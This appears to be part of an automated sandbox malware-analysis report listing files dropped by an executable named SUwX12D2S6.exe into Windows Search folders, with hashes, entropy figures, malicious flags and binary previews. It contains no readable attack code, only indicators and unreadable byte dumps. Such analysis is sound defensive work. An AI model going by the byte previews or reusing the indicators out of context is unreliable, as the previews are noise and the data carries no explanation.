Preview:	./....%..-.Q...6.../C5...!...-...k.=.:[.e-r!.F..y ...t.>..?.M.&.N....W.VB.8.Y.V.S=..E.F..H.. G.......n.H ..,jcUH......ZE....W..5..eH........E...AC...$.m.n....i=fY......9..u.....i......apY.h;y ..~.]!.1XN.?.1.;..6... E....d.d....M.{.%i...#..=.3\|..}..l@.....($.1..`8..b...D.N.........."....s...7Y.^..6.....s..$"....K~.I.k.......4....b...gq..W@8...pX.x..>C2.n..S..#.a..........g\R...'...rT...(. ....s.)..I+.GAfg..Cu...8..f$...>>..u.....%w5....(i..N......1w."......>.n..5p>,.3$E5.d.V5.e7..@..:j..Ik..5.. ..=.e.&.~.a... r....C.......@3.xa....'....2......y..J....h.4.n./.........k..$..m.0...D....3........J..$".V...aOf.>. ...O.D..PI.TJ.X...E.....gz...l..;..>l.....?..9.0....7QF.-#u.g.... ..7....j..R(..p.7rC3...E.....$~W..~..;.,b..{.M.B.1z.~............P..-z...dZ'+.....B.t+.y.o\|.J.Xm.7.....].M.E/,M.!..MCT./..d.....J. ..gdX;C.%..V......V.......k..g..j\|.2!.ko.f.....(BX...7.....0.....jy=.....x..:.i ]R..h6.C#>ef..$.!..9@..........#.<.v{B......=..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988381009968876
Encrypted:	false
SSDEEP:	384:1MsfD9yIQalLI8/bhao1DFH4s9l4l8pdNDWQ+7UgncnLh:1Ms0IQaW8/taoNp47l8pbDWHofn9
MD5:	D9D2C45EE0EE80F70CB93F83690F4C76
SHA1:	86A48E8238C56408C12969152849CCD9B1AAB34E
SHA-256:	4B2D02DD88F0702C55168A064732C6AE345939F787EE0DCBF5E98CA9513D6EDC
SHA-512:	18648AFC08F0717C7599B060993A26CF27B459DE76750F06D52B731BDD7AE41D912CB6CF74845562BEC84FC2C10B55CEC2C8D6EE665B9C498865B4C62F29E3EF
Malicious:	false
Preview:	@.v..l.$.._$.%z._..q}X....s....nt.......y..\%..T.c.B....(....".o7......>2.._......0..c......2..b.Y..G.G...?..n?..-......].l!..!....0..;.....l&".Xu!.0>X5S3.zT(......3. .>.]cC#k}i..;..L&.!8...?......QcV#..R;y..x..Y....y".-!._..a..Y. ..zh..{....h..>..6..............]a+...#. Y.Q.E.ds.{C.w4...B.{..m@,T.O.J..\N..1$].........i...jR...[..L)K. 6UC..7.84..?m_p....BW.09..,....l.;.AZq....S...v.....5:4..6..m...P../L...'..g.&.>p...r...[...>'):..Y...I.%J....E...h~.F..y...W...u..u..-....2g.....G&].77p...2M}Oyj..:q.K{...a=.Z.......;.y......Lc.......P..f..1($.9.....C..O..a.....P@.i(p..f&...^.R3R..I.........(..E...G..3.%..+(.k,.x...n}.;E.p...1...?..d.~....\|.<h.5H&.l,.p.DI(....[...P./..`pd\ ..p.W..\|~[L~x..9..U..&..lr..U....83........\3...0.E(.s......w5..9d..\|.e>q......c..W.T...G..x-F.H...-.A\.....c..;..V..!x.........d...9..XO.m...$....=...N...Z...d........G.Y.]Qu.E/...mu.#o (.K4.@..t...6..$sn.d..*..U8.k.3y..?'.@.0\|...Q.9.BE.....z.T..5.v........D...wx9D......sy8

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2097486
Entropy (8bit):	1.1133472126641568
Encrypted:	false
SSDEEP:	6144:W2NIjok9s7eHAIC2UOjrtvnXc4e6JdTsc:/NIjpKIpJnsAJF
MD5:	7AFF66E78851FC0F997D9AFBFAE07D52
SHA1:	BF05A4B5E7604F7815E0AF88DF6584AE1418F895
SHA-256:	F92CB6751C8EB5741415068A323D4EFAF2014B4203C420770ED2AF8F52D54C14
SHA-512:	45D122EBF4FC2FAAAF2EF9F1FEAEE01D7BA9425AA1ADCBD3CC31DB9F337929EE1B48954C8DF6B42AD4D2AFD2D265E9FC02D17423431077F3B942BE6D2B2AA4FD
Malicious:	false
Preview:	........p.'...+..u?wz!M..m6G..)3Fi...wA...U..u.Y.....}..K....p..g.(......m.&+?j....Q7..W.(2K.......C.YD.'5.A.i.....)..\|..b)...-.Z..'Y.8Z...n.%kBj!..%H...\b...~.^....._......X.E.U'T.H.........q5H8E...<.l..x..d5Uq..TB....UEQ.....h...$y..-....Vkq.yj}..4".D,@..q.Q'.=pb.........[.QL....9J@....TL#s..-.-.HKG.T...J./cw......".Y_......G.=...V.hz.wa.q"l.m.I.?..zbft.K......;.[...Go.Ku9.A..2.$<Q..F6.m.x$...zK..x.5I.H...2\.56.]..:4..+.._....y5,.....Vr...).$.H.t..KB..r.?hZ.Ou.Y... I.w...Xc<.T......[../B...)9.>.5..\|W.n-..!....?...i...n?hf85..Y.v.....>...;."..F..z.I..9.7......)k.UjN......p.f1s"........FZ.s9..P.Nb.8......(.'(...a.6S.7.p....]c....2....g.b......H.v<.&.Rd.@!.-.Yt....6.Hf...v=......g.,.I.<+P#.v.LH..+X4..'..t..EI.g.... d.E...E..Yj..GSu...'...%'..r..).....^1..+........m0...Z.....TsL......N0n..f..Tb..e.L...).M=.I.6.e..{...+a.=k4....,".%.a....]..EQ...>\|...lJ..kx........`.P.....O.tt.=o.F.^....o.p.l...S..4.h.&e...nGk..j..Z...j.z_.<....,Lr.$.4...T...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.jfm

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988604712733637
Encrypted:	false
SSDEEP:	192:aiuJyXbCyxuM19crCY1oKs9TS3KGE5euFtaG4r+sJkL9ZcJi+n20hHYPPOin9H6q:awrt1M7qe3U5t6l+sJkBmzUPOin9VJDr
MD5:	B1A6672970FD67CE597CD317A92F2B06
SHA1:	D1BD2003AB3D4908682325537B085241D78097FD
SHA-256:	FF3B34AA78F6A045B38909AAFD1AA9D94C573EC47DF82387B6C7824863BB9A06
SHA-512:	AAB95ED63DA5EC777B770B53F6727070296DCA110F9BE933C62188AB0794C4FF819DDEA2993B5DC5DBD5A8ED5B4C97453209C701B02A9A394C93D3A2E12B8AF2
Malicious:	false
Preview:	..l....x.@V.S.!....z...%r9..=.w..[...l...jAwy...EV.. .}8~Q....smd...._.....~q.H.<.f..>p.H...;..=.g.\m...LS..X.gI.TG.nb.T.V....w.}O.gR5...C..x..&b.FA.........e....k...qs^..ZL$.)...eT./.T.yb.Y..4?..DM....=.w.....j"\..T\|.=.>.4.....L.w...D;..m..B.........{.{...>D.K._N........f.R#. .y..W...^H..{B...t...!.Zte...1.......oh.?M.7j....7v.5,...dG........]n..<...M.(......y.Y)V...]p...N\|.....'...:Q....g...2....tZ.....n.+.N.U.`.Oca{R....yn.N...n..>....j..\....;R>.t#....F<M`m.,H.#...]....v...;.o..>.t..O..b.g....^.@.....).%a.b.{oK:Q.0....g%0.........=K;J..E...F;c.,H$....."..L...ox.+#r...E..i[......gP<..0..NjrW83gS....\|_Bj\|A......ysp....!..l.VBc.e.3f....\|...X..DG.....w..E..%.._a.~..Y..}...X..M.PkF+]..d(.....Lz,........p......N{.....(G..o(....9..."?.J...j.`q].......zZ2..+...S+2.p......h~L...Z.....\.}..c....o.y.p5 A.z?0.Av(.l4.c../..m.3.d^.X....z.Z!.[jjg..t...@a.#u...a..Q.\=.[.,.;..2........GhH.v........-..[}..$.... Z.'.=.....LZ...n..i2...if...D...D

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.chk

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975943623400499
Encrypted:	false
SSDEEP:	96:A87LgiVq4nNvYRbugczRRnWqpLYFw4INf75V5Ma/Do+nxMHnCUz1j44tCb4o//13:L8QnSu/VRJD4ItBMEDtxI44tCbbKf2T
MD5:	E96F4D207F1DFD4A8036C28FE5D391F0
SHA1:	39DDDBA1075D46A929CA643EE6D4B8EC2A4E7BAD
SHA-256:	B3F152706893706B624C1598E6AF9A51158F5C5F9F6B3463067315B1F5AFCC5A
SHA-512:	BA8BB60FCBCCD7FBD6F54B7A0B33A5019FFA4FBC0BA7BACF5CBB477117B54AE3F64692401ADDE252DC938716AAED5D887D3070542E239F0DEE05DCFA9CB2F132
Malicious:	false
Preview:	6...q..?;u.g.B....=J...Pj5..hk.C.cj...\|+.../y{.F......^.+.@...WC...lQ.x,.....S;...R.#W.?...]...I.j110^...]!....aU..P.v..hT....~.,.ay:...C'..P...}.....(..P..i...)~-../.N.....0..4.).Y]85..4M3C+...J..zP..JJ..+~...N..g3.1.8.E.pl."T...d.d5..J.e.+h.y.c..&..}n...(3.dc.c..he..g%qXk.t%.%.B..!..&@......!.{l.4V......cq...Y.....9.dJ...@.#7.....d.a..w...kz..4..b.....pL3.Jr..wJpy...Y.....k.. [. ..m[..b:....!...d{.....4X.r;_........T.+.b.!.C?^.-....V..xW..:3:..@I.H.....u.Y..U....:._8Q..c....=......l({.L...L%..B.4q...$...G2..6...5u..Q...Q.Qs.wVU..~..f....bF.%....7ud.9.dh.9..q.t...p._..i^)WM!.......H...Cyl6.S&....X...........v~...._.h....Sl... ...2.$(g.e..sK.5..........TGJ,.ij.y....-h..C.lK.k...#.4......(t..6bE.R.3..t.e.....?.&xN..>;..D.YM.8..)#a...".I..n.Q...W.L..z.'.kY....:...z........2.D.a!.{...Q%.!.a.8u..P./..\..N...n......,../..C../.kX/D......k...e....L<I..O..:I..).:F...)...4`gGI.d...W.eR...0.g."....3.yr..F..L.I..K.8.o8......BI..~.8b\|.......F9..(,.$K

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207754060214376
Encrypted:	false
SSDEEP:	3072:DEu/e97xdpnkyLsFLqcVODHQ0ZP17VMYpRLLmrAcP6SglRbZlC:D0LdhksAb0JO6Zu
MD5:	88DB24B4204E4716EE098182CD9E69BE
SHA1:	D6385A778383A716724A88204C5FF5DB9C06369C
SHA-256:	334ACC80722A9E11B4EFB31CE764421159B7F7F791453C218B22CB8390E9A172
SHA-512:	98C749EEA303882D3CF3343305A3866C1BF3B89D374AB12CE1D24FA3615EA2D06456843E4351FD12E04378E20FCC63CCF403C88B1B6059BE61DF439F0138B49B
Malicious:	false
Preview:	u.,I.....k.jA.. ..g...F6T.H.x.w........7G.U.+Q.``.../2..@H..W..t......E......y..Vz..2.....g0s(.0.0..#\|.q.\|.y.t...<-.>.HZ2.RxMG..U.SmaVQxW......M.Q.K...5....g......(..s\|w.......%.]..#..3.]7.=.y....r..@..n.T+.h~..@,..3.X?...9:K.....8.0.....<O.. .......A...T.a.bg..yA..Ps#[Oq....^h...[~%.\'_....r...j.....;z.N.\|^...A6...9.u.j.........q.TJgR7.ScyR...N....zG.5^......0....r~.It.F...3...>{!..R.%3...B.!.aS...(oL.N..ey.F.Y#..[1..Fy.z....M.w....P..tc..zE..b..z..Gk....]..O..bkg4s......}....@..n@.....B .A.3.T?...9.Z0..!K....Q.ik.1A..a0Y....[6&......G.!.^.3.\8;..h./....%..:.`34V+8.E..P..n.....&..........R.eh.J.A....\...I.=.......q.l.0.m.ia$.6...X.E.....}....}...q(Bi...A.......vr..tv&...D...k~m..ZR.I..Z.}.%yty....o....<..3..<...a...^O.5w..w............../.LG....k.f..q.r..h.......p..%...lmW/.F.2.{.{X....u\(.S...Y.M.1~.;..F..),....4...tc..>a..8.`.I..y.8..]...u#"...&..P.r.X.w......hb...*.oC.>.r.ai3.:..;..~.%\..a......&.V..0..x..=.W#g.'9..7....K...n

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb00001.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.5016605251124915
Encrypted:	false
SSDEEP:	3072:Zru6UmWFbg63UVoYijNm47zI0uEjqyBmykCHfk1f/sXbYlhlc0sdRgFj65pba8a/:lD5IM6kaYAjzBWyEBOfrrOupbA
MD5:	CC4ED6F2F054343674465C6339EF4F65
SHA1:	BBD3641165BA954961B2C9EBC825BD9D95309437
SHA-256:	9A769D975E37885E52E3940C12B7BFBF666E45FB64D347FF054A6B0317FB48FF
SHA-512:	4ACCF6E0FCFBA2143F56BBBFD29055A59D804081280D63CD940FCB1F852DCC1806DABE61C290825FA243090EBE30E6E7449A452C6537D1AB62601E670051A2C2
Malicious:	false
Preview:	......,...Q7..MP..spqTO....\j.f............Y....N...9..}..7..........d...x.......l..8>.C................R.+6.(V%4..p.^._.0..zH...1T......E..z..>&.....\|.B..ld.I..f.Ss......?...}.wnHr.9?.;m9.?X..$q?.?N.....(p7.F..R.......K.v.....9.b.R..v...XO.w..n~.BSi..q.p..^Q..m. %FH3W?..My<Nc....".U.b....LB..>.d..R.....^..<.3...1.W.H0@`4`....a..T..i.q.....V...Ne.f......pRz....9$....~....`...... cv4a.LU.\|Dz..:...%.....J....}....5.......V...z5.U..2.I...3...$1.m......d.V..D... I..U.$.~J" ..8.....F....-.]..x.w?..(W_A.'..\|.T.e.U1....l...h....8.....h..=T......2.....p.\|.".4..i....2...p..........Lb............oR..u.3.ip.G...U/..&\..L.I.]g.c.$.w........G.L)..p..O.;8;.V....Q....m..F]%......o7k.0.../..c.O...)4..b.,....6.....Q?.PG.....Sd$%.9....!^Ky....QG.T#..<..L...K87u...JJy.EP...i.a724..w....I....V.....K...E.t(..z/...[..q.B[N..+..s.....x......jw............."l.....\|t.....;O..8..L.R....]f~}...v.....Ha.eJ.nh`..]j$..^.....n....pN.p.+jlG...8E.......j....#X.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2076819226248463
Encrypted:	false
SSDEEP:	3072:yByrQvX3jeNhpOcU/gz5XgUUhpJawDe4dWn/o5PuCtpwW:IyrkX3jWp5Qo5XgUUDjDxprtp/
MD5:	835F701703CDAB928D6226D02492E8AA
SHA1:	C479744C1911216BDC1C2C4DFB4ADB0A5C15B361
SHA-256:	A9075C638DE398E11B641DFA4167CC45DC9BC7352AEC957A68025CA8BD42A15A
SHA-512:	4D2AEC6463D4EE001453D0D5473630A39E60CEF15DB95E36F948324B271A979090C30C831A74818C3C5719B39A3400E4931D038A900701332036C70C955BA381
Malicious:	false
Preview:	.....-..V.h..bh6.=.J..D.u.}...#......./7..d.^...q.0U.w....X.....>.u=g...-....i:..5......-.W....Cv.!Kkg.c/.u..hEZ.... ...uVJH.4`..k..{..Y.....5...J.t.\.W.B"u...Y.._.......6..8...#$...4..D......\.:...;.AySi..C.x......$...0c.S....4s..q..@..V.....gM9.8....K....'.........9..<.WN..r.,..Sd}.....x...:...C....k'7.v............t7....... .qK._5.........n..^..........)ZS...Zm.^^..3.7.....V.....dv......m....O..,dH.6.^.../......i.s~.)..z........oi.B.".p..k5$d.f...1.g"F/:.f.%...O-.+.(.... h..a..A;$A....Jf......T,dF.%..1Nq.`[=...1..L..N..B.lkU....--tF3.Msmt.....j.U.;.O?.X..lw.2...4...#Y.-]p.M.u.g{T.\|.5...?-.VW.WOG=Hg.f..&/....b.h.<T.j...S..I++.J9...j.'h..<...~e.....d...s.M..Yt.Y.Z...Z...y....9...0..2.....4....}.if..hp...yA.8..#i.APF..7..).........(.....(.+..H........H5..{...J."..../.j.R.a.......DWu.....K..L....t.FACT.=.a..5.sK.m .GiG.x..s..fDV._..K.{?).'...7.`.&Q.u.iJ...2~..:......]..Y.N..B...._O.Fc.].W4pI..:p."...Y..w.[,?..X.r.g.]./....6]..<...Nt...\..s

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2074862252960825
Encrypted:	false
SSDEEP:	3072:aGtbNjtZ8ivVTG6WcmC8tKLNXxOGj000UUoOE3D5hucA3RV:aib1tZ/PmC8tKLNXx/nvBL3Vha
MD5:	048E1E9BECF26FA8F07BE07460FED23D
SHA1:	DF7915E6E5057B17F6F00E446DBB74E703DF039D
SHA-256:	54682503B67F508561DF11FF66BEDABD4E0A41332A036D72A13BD083229780ED
SHA-512:	783C8D253A77625C81D1BECA6CF26567EB5A09C5F3DF8F724CD9EE9F7C63CA91001F7C0134975FDFCCD00239FE34A32DA3A427B0EB52AA68A6DFD3A9293F1F76
Malicious:	false
Preview:	.....l\.U..v........;D.....Mb.,....b;...9..?".]1.S..])...1...g....&u...\BE......6..P.....x2f..........!.4...W6..&.E.rY.6.I.$..~_I....d.A..n..(.G.}.%.P$.[(...F-.....V......$..gu-W%.....?..9:.[n......\.f.<..+63z.=.J.$NVx.20!...0..d....y.;.F..B.29m..r.kW...D....H.k.L...\w4{`..(...c)%.{.j.$....6....rr.W..c..F..Eyz..S....Mx...C..Y....D......=.x....\?j`~X..{F.Cv2a...YZW..x&.....8./.M....&L.`.F....j-r...5Y]<.....F..X.Q.1m...=...^X..\..c.....:..A.H.i.`.R....A?..0..rL.:.....Y.........+4Qe5x..(-..Ko.Vb........{G`.h7V...[l.......L.<.i".L..?....<D....^.A....\..^.l8Q..-..5Wr(\.......)..E..f^...7..he3.NU.o...>Q...6.}G_~Z .-....v..l..ae,.....n.........8@.XU...8..>ejO..6..#.-Q...CB....#.p.K.........\|6.k......V....g.I...Y...g....\yd.........O.*k.K....".^Z....\.r.@..p......n".X.SJ.z.n.U...h..O.y..l...i..W3UCs.m.Bri9..V.SZ..a.x.k...i.`....-.+.f..t..B..;..o...wC..z .......m.O.o.....\nU&N`1r}.[6S...d.k.]I..3.,..t......2#...D1..L..].1.<sF...d...0.7l..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2073153416672526
Encrypted:	false
SSDEEP:	6144:rXzKuW9Id4OrXqRbFSImW1yqy3JwvvWWC:fbGYSPi3IeL
MD5:	70036ADC56DC2A5ACEB6A668F62DA00C
SHA1:	234D5FF8F16AF9858173A1E2206298F52F96C021
SHA-256:	FD35F799B71AEA0BA2C5D857B005CD53075F3748A2790C00964A02E2FEFB42A0
SHA-512:	E65EF2C87ED3A29ADADC2DCBD1E533845C30A947AB6940077F7B27355F0BEC2F2384BD07691E548016B0806E17E43E3CE20C596E4365E05184EE99055F6F6079
Malicious:	false
Preview:	.....$..,= )...DJu....).W.2..b....S.g...y...Z..9.."...aB.rHs.<...a.h.;...[...._.?}....N.}a..\|.J....,.dl...RS.>.....(........4!.T.F../.......i..........4.ekwi..X...N..'.)...f.Z(......N<s.L.x.....D. ..@..\|.\F.{.e.p...I.d....{..Pd..g~M......i.R...^..P...xu..C......w.%.....p]..3......>...s......}.^.V.R.F.Q....r8._.H....L..4..l-E.et'...hXI U...../.=!G.^.T.p.v...%.y..".Y.~~.{.../.Z....N3....>/.D....N).t.@3.gu.}..\..3..gz....i.h.<Yd.....\|,..?G.N..?.L...../......t.y\|.....;...%..>..2....[...}..2....!...V....r..%..2.d.6..4.F.....s.,..>.o...3..."i...8...G..Q.\.6v....p.<....)...hN...;9...t^l~.....F`K.qZ...........6@.7H..}...^fa..2IZ.k.....j....2.8.`Z..%N\|....$`...x..n.......%...x..(V.K.$E.%.Xu..v.s.B...(.......'..2..F..=.i..'F.su...&n.=j.P.....I.........t.vD!...L..T"....W...'Gp.....W.U.c......!n.{.O..............9..m.....;.."..0.J.v.2..1d.>....j.......K*u..m.../....U. ............d....M.]..B..?...V..D.'..ry.b#V..(.a..f..5......mm.2H.}..F.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	37788
Entropy (8bit):	7.994985471704524
Encrypted:	true
SSDEEP:	768:ou61jD7ozeDoL0uWMbn+86XSUpKGlMdARy9l8QtgRLld0B2T:v6SzE06HZVpHBUtgCAT
MD5:	CE88EB0408620882208C0DA82DF55EEC
SHA1:	F2CEFA9EDE39C65F91EA3228467180CFFF23C41A
SHA-256:	66CBB1757028C8F31F23FA10C1D4661C7F5E37CEE918C825FDED087FD6247FB0
SHA-512:	AF9B0DD189EC154B40E48F44F484B369012234BCED4C7FBDDA52F2398B3ACAEC5C08440C42A33CF5DB4E684D6C9EAE183E8E4ABD6BC9AB62743A1A2EA88535D1
Malicious:	true
Preview:	0.0...<...E.c`.O.... /.....r,#..xO.....M.......G.F.7W.g(..7.Gi:.z..l.6..k....>.uH...2..ub.]X.W.u>...b..v..y.....I..(O..=.Y.p..{Pv..h.&S.@&y._E...\|&.....4...0.qCZ.%hJ.L....Dr.F..._..).bm...j..Y..\.....x.,...Y.j] ......g.9..9.....wW..y..L.....q7\......U.=Q..<..?T.A/.'T..9..$..c4.hz.E...;V.(.]......7.gd....t.^..>..c.l..bI&..8..$....6..v..~-.OmX."..~O..H.c..qEfo....j.\..[....H..<..U..}J..(.HK#(7`..v...\...=S!w.V.B.&>...Q..[..B..F....r...]P..vfgil.&..0.....D.q..[...Z.<...w...4:!BO.3W(w8.........m~'j .i...../..<...!..fTg...8.d.qG.x$./...oD.`..3.eY..(M.!.D3..V.^.Kio.z.;.44.v.+....v..v Ao....,.TU...}....-.....p"x...W..5.;..UW.....D.....R.u.0eF...O.....%n.....4`.Uy../2..0.......$[6..r..4.o...jbWG.a_.....3..d..:c.0...k.k.b!.c..... @......$.........].........A.At^.dSM...id..U.G.v......9.TW.....N}..T.2.l....(.....K.\|.q..K.LTj...............G.\|.....6w..@......^.....<....M...S.J..4T..j...?c.......aK...@.mG.~.....>...8.....ki.~..@%_.%^/.Y

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	50753
Entropy (8bit):	7.9965418720861114
Encrypted:	true
SSDEEP:	768:IJQbn0Jjyhzn2C1RzP94yMsqKg4DZwDH2HbXNhS1aIBzpWrcVFBOf:IJQbsytHGb3cNpCzppFB8
MD5:	A04DD55F90D6C40471A8F5178CC24BE5
SHA1:	9A7E0B39E5843A896274704AACAF9B7C4A890ACE
SHA-256:	ED6F987B089E781695B72CD0D1D36C5626EED9AB39B274EE8B731CDFE0D8D10C
SHA-512:	A700DEDC2DFBEA11F5593846EFA214EA28C0BEE598503B93D5DB8D2E24FFA2CF396915015AA6B8B90749E80F995DA60AA3DA8667D1149D76D0F290271AE6BB17
Malicious:	true
Preview:	.............r4.}.?.A.B..2.;o.....#8.3`..X..V`6....z.(..4!.....fi=.f).I...<.5..&/.6.p_.!..O..5....j....tz...8g8....-.E../...a9L...!b..4..h._..I...v.....i..@4.V9Go<A.....w...C....-.x!#.+o\....7Q..nb..e.N6.%.A...kX../b..C....D+..-..R....u$9D......b5..g.L.........(....iN.....O..Z....<.G.#...QP...J.... ...B}........^..R....y;......!.b............2.2.F.~ /...fpn0.Y8..q7Y...X.....w.<.T...?..}.cF..g..8G.A..go.4.,.zIBC...R......]E.6..n.x."....._....5...e......3:].{.<h...s..../..Q.5...k.O.J..E......h.#m..r......d:X.9..A.\..i....t/gt."(.q...9;.....5=.cyW!?....~.o.#XL...C,l..OQ....mZ ct. 6.b...nR..[sR...=.v....Rx....dO...m.#...7....a......&.Z.2.bH..Ig...M.=......T.Mt..H.5...O.l....f.`..-..Rh.....Zp.*L.?G.....;...h.ab...6..'9K...?.k(.,.T.a../..].K.Tg.....>W......D..~....r...Y.Z....._.....^..G.2.&&.....c[.,.............-A.nu.dA..........BP`.Y...9'ReV...p...'..^.(..(.<...=...4..o%..yX%{..H..........[...r.w..=3."E....Y.).......lu%;V...KL.........

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\Apps.index

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1126711
Entropy (8bit):	6.541661815043525
Encrypted:	false
SSDEEP:	24576:LynhuULVYfoyFxz8GfoLr7YfoyFxz8GHxUME:mhOf1xz8GfMwf1xz8GR4
MD5:	C222D851E462F7463C757C21A5E251AF
SHA1:	500FA0E5A2D9F069EB30050091BBF8AB6EFDD317
SHA-256:	71383F63BFC1E26078F162B82BC5282DB92147AC857AD18C1570BD1187A59C04
SHA-512:	DB06780B9085DBC9D0652E8EDA82624EA1F5E8F3A8AF88B8089CB882DB9B57788F5E66E7EA98AF82C8EE316005065259C6000EC462CB01B55DD341F441D8315B
Malicious:	false
Preview:	Ej..D,...;7..=....L...a.P.D@..;c.+.Qe).........E...Zj..v.n..../q/..O../.........h.#.........F...."SR..?.\|.J....D..K.....Z...\|............0..Zw.i....G.l..[..R..o...y...=X.....s....E......!$...tq.).YH.'...-.....K_..j.R....'X.X}[....Z...<...I..{./....R....x.....4..XP.../...EI...p...<H.$..P.$........Fm.]......L..2.NVzY&..pKf.qp..5u#h..f..5..~...U8...7...h.I..S;..t.r.V.H'..E>M.^.z.aA.?....n.........\...Y.4p8...i....!B=.............../..s.........1t'{p.RE.....:.kz5P.cY..Z.._i..D....d...8.M.4.K..z.l......`E .'v^Y`....-\|..u:1....V..%c.t..`.F.t..'.z B.L.Q..sy...".l#c^X8S..0.M./.M@.....C..c0..Cl...@......O(}..4...r....]..}.>...D.4..U....PWG5.]{...7..g....Xl\|.T.R..0........e.=...m....e3........HR....)..D5.. ...U2......Z~.......i.}{..[..n#.....XV.;...~..Aj..M.-..).CS........L.I\|.LT.t.8...%.1:.V9..B......A..q......qK.).m.!3....e[vc\...L<.KGc2.~... r...;7...u..R....?e.g.0.."....v3G."..F.W9..3C"...v..k>.a!.}^..`.*x....{.8jjM...1....o.(.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{a791065b-313d-479b-9caf-5d69eec92f14}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	37755
Entropy (8bit):	7.994621789519014
Encrypted:	true
SSDEEP:	768:Oa9M4OfqJw9SiqbkaiGVMIdnAuWewuJOD6V8vVtVIMNea3MkodmaC8zht93why:B9dOfqJASiqYaIHBxukD6uvVtGqe+Mk6
MD5:	34FBB079CCE616FA3B52138F0A1EF7CD
SHA1:	470580A42E28F7E0B4B68B5A9F6B408B638A4CB1
SHA-256:	A089B4529226CE7A436B347B967936F8B0473D1FF8D08421A843C59CA15C92CD
SHA-512:	31BA08251C6AC052DD6D598FB24E80F11DED887E522F604538BF04D2E79C413AF29ACA93B0F49012F7B1302F6937A585208B2643CC3332163046D84D18A751C7
Malicious:	true
Preview:	0.0....y..S....ok......A.`.P.j.....6..B.;.n...<G8j......I...6^e5+..U........>.(.-.6.b\Q6..m7.a...A..t...Rcv.......Y..c.~..T.......mb.g,....=.].4-C0...v.../M.<8..V.\|S/.ipS.A....t;"x....h..9@......`.........H..}f...=qX.....F.L.C4......._.=.'4..p.nd>&.F.l...>......BA..9...9s....../.qN.....}u.e..V...v..jL....5...{.....\`W.>..L...x..k#LPL.....T..6m....z....`..t..r\|.A.z ....../..K..f...).bo^.l8xj.\|.-.hk...k.J..2....u.H.n..#.R.........!,.swqWkX.p.....fr%{O.y=33...c.Q.c}....Q.......W.....n8.Uo.....}.g.........E....2...)bb5_.@......~f..>....?/.".!..pm.F(R.5%ok.h..KE..Q..j..$.....Bt..... ...?.C..Z..m....}(.3v.W..f0.nNkj.a6.....B..^....A<w.<JP..........np.E.%pM.v.Ka=.....0D.1T?..K....-....."%...~...).7G.X.zh...,u....<.g.9hv...q..CU....p.....c.....a.......?.....I6.ba.jI...C.^9.ko......_N.D......S....e.h...a.....H..w..rJp.W./.b8....m....x..T.t.\|r.')nc~.al.\|50...%.q..I".....a.H*.j,..ex.u.......U...3.8....u..2kH...g.5..t..J.%.....U.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{a791065b-313d-479b-9caf-5d69eec92f14}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	50707
Entropy (8bit):	7.996354218013094
Encrypted:	true
